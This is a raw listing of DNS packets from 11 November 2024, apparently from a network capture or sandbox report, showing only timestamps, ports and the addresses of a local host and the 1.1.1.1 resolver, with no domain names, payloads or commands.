Nov 11, 2024 18:51:32.427375078 CET	53	63473	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.446662903 CET	53	49601	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.446814060 CET	53	59701	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.581823111 CET	49392	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.582339048 CET	59074	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.593122959 CET	53	59074	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.613406897 CET	53	49392	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.850594044 CET	53034	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.860903025 CET	53	53034	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.940380096 CET	54595	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.940783024 CET	64819	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.951323986 CET	53	64819	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.951522112 CET	53	54595	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:32.975958109 CET	59358	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:32.983279943 CET	53	59358	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.432344913 CET	60089	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.434179068 CET	62967	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.444102049 CET	53	60089	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.445149899 CET	53	62967	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.475600958 CET	56028	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.480500937 CET	56355	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.481863022 CET	58013	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.483673096 CET	53	56028	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.484599113 CET	59707	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.485570908 CET	59186	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.489969969 CET	58792	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.491518021 CET	53	58013	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.494848013 CET	53	59707	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.496443987 CET	53	59186	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.512015104 CET	53	56355	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.521158934 CET	53	58792	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.534439087 CET	62454	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.538279057 CET	64031	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.538814068 CET	57377	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.539391994 CET	59188	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.546113014 CET	53	62454	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.548378944 CET	53	57377	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.552567005 CET	55574	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.558682919 CET	53	59188	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.564471006 CET	53	55574	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.569519997 CET	53	64031	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.648226976 CET	52663	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.650856018 CET	53450	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.658752918 CET	53	52663	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.662022114 CET	53	53450	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.707451105 CET	50920	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.710880995 CET	49366	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.718121052 CET	53	50920	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.718574047 CET	53	49366	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.774678946 CET	51438	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.775126934 CET	58068	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.784670115 CET	53	51438	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.785068035 CET	53	58068	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.828207970 CET	52961	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.838938951 CET	53	52961	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.839971066 CET	57697	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.850933075 CET	53	57697	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.877986908 CET	55763	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.888248920 CET	53	55763	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.901956081 CET	61353	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.936856985 CET	53	61353	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:33.943068027 CET	52053	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:33.975317001 CET	53	52053	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.038815022 CET	60990	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.040832043 CET	55731	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.050134897 CET	53	60990	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.155720949 CET	51559	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.161046982 CET	59040	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.280922890 CET	60723	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.281198978 CET	49477	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.282016039 CET	60432	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.292517900 CET	53	55731	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.299174070 CET	53	49477	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.299253941 CET	53	60432	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.300297976 CET	53	51559	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.301549911 CET	53	59040	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.320615053 CET	53	60723	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.343518019 CET	64901	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.344399929 CET	63410	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.345057964 CET	54981	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.354023933 CET	53	63410	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.354706049 CET	53	64901	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.354995966 CET	53	54981	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.562999010 CET	49571	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.868071079 CET	62064	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.871175051 CET	53	49571	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.885309935 CET	61771	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.887861967 CET	52161	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.888211966 CET	52875	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.888828039 CET	52770	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.891716957 CET	50965	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.893820047 CET	60491	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.894042969 CET	61536	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.894665003 CET	63151	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.894685984 CET	54623	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.895222902 CET	60360	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.895507097 CET	56754	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.896193981 CET	51815	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.896730900 CET	53	61771	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.896756887 CET	59103	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.896922112 CET	60295	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.897583961 CET	64242	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.897785902 CET	54774	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.898298979 CET	58995	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.898662090 CET	60725	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.898713112 CET	53	52161	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.898827076 CET	64141	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.899187088 CET	53	52770	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.899715900 CET	62426	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.901520014 CET	53	50965	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.903327942 CET	58288	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.903650045 CET	57219	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.903784990 CET	53	61536	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.904038906 CET	53	60491	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.904905081 CET	53	63151	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.905184031 CET	53	54623	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.905195951 CET	53	62064	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.905571938 CET	53	60360	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.906688929 CET	53	52875	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.906871080 CET	53	51815	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.907713890 CET	53	54774	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.908519030 CET	53	60725	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.908833027 CET	53	64141	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.908890963 CET	53	64242	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.908945084 CET	53	58995	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.911853075 CET	62170	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:34.912892103 CET	53	58288	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.913038015 CET	53	57219	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.927376986 CET	53	59103	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.927464008 CET	53	56754	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.930103064 CET	53	60295	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.930773020 CET	53	62426	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:34.943495035 CET	53	62170	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.215666056 CET	61398	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.248593092 CET	53	61398	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.255040884 CET	63407	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.255260944 CET	51050	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.255413055 CET	62093	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.255559921 CET	52001	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.255709887 CET	55303	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.255865097 CET	54763	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.255995035 CET	58835	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.256134033 CET	55415	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.256274939 CET	58921	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.256417036 CET	50070	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.256548882 CET	65047	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.256777048 CET	59624	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.257107019 CET	49314	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.257570982 CET	64267	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.260605097 CET	60863	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.265357018 CET	53	54763	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.266019106 CET	53	55303	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.266071081 CET	53	58921	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.266575098 CET	53	58835	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.266694069 CET	53	55415	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.268105030 CET	53	59624	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.268146038 CET	53	50070	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.269157887 CET	53	64267	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.287734032 CET	53	63407	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.288191080 CET	54005	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.288360119 CET	53	52001	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.288419008 CET	53	51050	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.289164066 CET	53	62093	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.289174080 CET	53	65047	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.289589882 CET	53	49314	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.291335106 CET	55263	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.291459084 CET	59531	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.291595936 CET	51301	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.291686058 CET	60748	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.291990042 CET	63372	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.292171955 CET	58438	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.292325020 CET	57987	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.292578936 CET	58831	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.292706013 CET	58459	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.293225050 CET	53117	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.293478012 CET	51897	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.293653965 CET	55411	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.299757957 CET	53	54005	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.299907923 CET	53	60748	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.301799059 CET	60323	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.301966906 CET	53502	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.302203894 CET	64684	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.302457094 CET	56494	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.302603006 CET	51771	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.302651882 CET	56335	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.302803040 CET	62577	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.302858114 CET	55983	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.302994013 CET	59997	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.305392027 CET	53	63372	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.305402994 CET	53	57987	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.305505991 CET	53	55263	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.305519104 CET	53	59531	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.305548906 CET	53	58831	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.305561066 CET	53	53117	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.305569887 CET	53	58459	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.311836958 CET	53	56494	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.312335968 CET	53	53502	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.313112974 CET	53	55411	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.313292027 CET	53	62577	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.313674927 CET	53	59997	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.313740969 CET	53	56335	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.314313889 CET	53	55983	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.315474987 CET	53	64684	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.316663980 CET	53	51897	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.319021940 CET	55985	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.319180012 CET	62380	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.319345951 CET	59424	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.319506884 CET	59242	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.319665909 CET	59336	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.323133945 CET	53	58438	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.324251890 CET	53	51301	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.329006910 CET	53	55985	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.330892086 CET	53	59336	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.331176996 CET	53	59424	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.331250906 CET	53	59242	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.332663059 CET	53	60323	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.332917929 CET	53	51771	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.351058006 CET	53	62380	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.394109964 CET	53	60863	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:35.594654083 CET	63823	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:35.743906021 CET	53	63823	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:37.969789028 CET	58144	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.972019911 CET	51383	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.974755049 CET	55568	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.979624033 CET	58803	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.982013941 CET	53	51383	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:37.985287905 CET	50991	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.985800028 CET	53	55568	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:37.987158060 CET	59557	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.987921953 CET	50176	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.988287926 CET	57017	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.988682032 CET	51882	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.989121914 CET	51603	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.989191055 CET	49655	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.989551067 CET	61535	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.990243912 CET	55831	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.990411997 CET	52017	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.990763903 CET	54567	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.991035938 CET	52344	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.991497993 CET	50672	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.992016077 CET	64146	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.992156982 CET	61365	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.993199110 CET	53978	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.993808985 CET	63702	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.993999958 CET	63745	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.994533062 CET	58064	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.994709015 CET	54980	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.995237112 CET	53682	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.995263100 CET	53	50991	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:37.995330095 CET	59389	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.998888016 CET	53	59557	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:37.999064922 CET	53	57017	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:37.999603033 CET	57967	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:37.999867916 CET	61052	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.000200033 CET	49585	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.000263929 CET	53	61535	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.000413895 CET	53	64146	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.002039909 CET	52796	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.003237963 CET	53490	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.003243923 CET	53	58144	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.004513979 CET	53	61365	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.005705118 CET	53	63745	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.006298065 CET	53	53682	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.006354094 CET	53	59389	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.006767988 CET	53	49655	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.007708073 CET	55023	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.008805037 CET	53	52344	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.011715889 CET	53	58803	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.011728048 CET	53	57967	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.011738062 CET	53	49585	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.011775017 CET	53	53490	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.011785984 CET	53	61052	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.011840105 CET	53	52796	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.012438059 CET	53	53978	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.012691975 CET	53441	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.013333082 CET	53	54980	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.019654036 CET	56881	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.019747972 CET	53	50176	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.020423889 CET	53	51603	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.020639896 CET	53	51882	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.021332979 CET	53	55831	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.022628069 CET	53	52017	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.023792982 CET	53	53441	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.023983002 CET	53	54567	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.023993015 CET	53	50672	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.025002956 CET	65285	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.025743008 CET	53	55023	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.025907993 CET	53	63702	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.026726007 CET	62340	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.026793957 CET	53	58064	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.029234886 CET	53	56881	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.045886993 CET	53	62340	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.053524971 CET	51106	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.055414915 CET	64858	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.056747913 CET	53	65285	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.063158035 CET	53	51106	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.065691948 CET	53	64858	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.258965969 CET	50464	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.260139942 CET	51024	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.260448933 CET	53770	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.260950089 CET	52807	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.261347055 CET	60444	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.261627913 CET	50284	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.261826038 CET	60820	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.262181044 CET	51357	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.262254000 CET	50955	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.262562990 CET	49561	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.262741089 CET	59976	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.263015985 CET	56212	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.264542103 CET	61767	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.265055895 CET	52460	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.265445948 CET	58320	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.265610933 CET	59404	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.265939951 CET	63459	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.270553112 CET	53	50464	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.271038055 CET	53	53770	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.272665024 CET	59293	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.272712946 CET	53	50284	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.272785902 CET	53	60444	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.273025036 CET	52522	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.274270058 CET	53	59976	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.274290085 CET	53	50955	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.275070906 CET	61122	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.276149035 CET	59338	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:38.277559042 CET	53	56212	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.277570963 CET	53	63459	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.277580976 CET	53	52460	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.277591944 CET	53	58320	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.281517982 CET	53	51357	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.285053968 CET	53	59404	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.286583900 CET	53	59338	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.291054964 CET	53	51024	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.291460037 CET	53	52807	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.293652058 CET	53	60820	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.293926001 CET	53	49561	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.294855118 CET	53	61767	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.304225922 CET	53	59293	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.304832935 CET	53	52522	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.307132006 CET	53	61122	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:38.507536888 CET	56382	53	192.168.2.6	1.1.1.1
